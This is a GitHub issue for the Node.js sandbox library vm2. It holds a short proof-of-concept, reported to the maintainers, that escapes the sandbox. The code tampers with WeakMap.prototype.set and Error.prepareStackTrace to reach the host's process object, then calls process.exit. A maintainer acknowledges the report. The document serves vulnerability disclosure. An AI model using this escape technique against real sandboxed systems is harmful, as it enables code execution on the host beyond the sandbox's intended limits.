patriksimek / vm2

Advanced vm/sandbox for Node.js
MIT License
3.86k stars 294 forks source link

Security Issue #444

Closed kagesakura closed 2 years ago

kagesakura commented 2 years ago
const { VM } = require('vm2');
new VM().run(`
  const { set } = WeakMap.prototype;
  WeakMap.prototype.set = function(v) {
    return set.call(this, v, v);
  };
  Error.prepareStackTrace =
  Error.prepareStackTrace =
  (_, c) => c.map(c => c.getThis()).find(a => a);
  const { stack } = new Error();
  Error.prepareStackTrace = undefined;
  stack.process.exit(1);
`);

// Never gets executed.
console.log('Finished');
XmiliaH commented 2 years ago

Thanks for reporting this issue.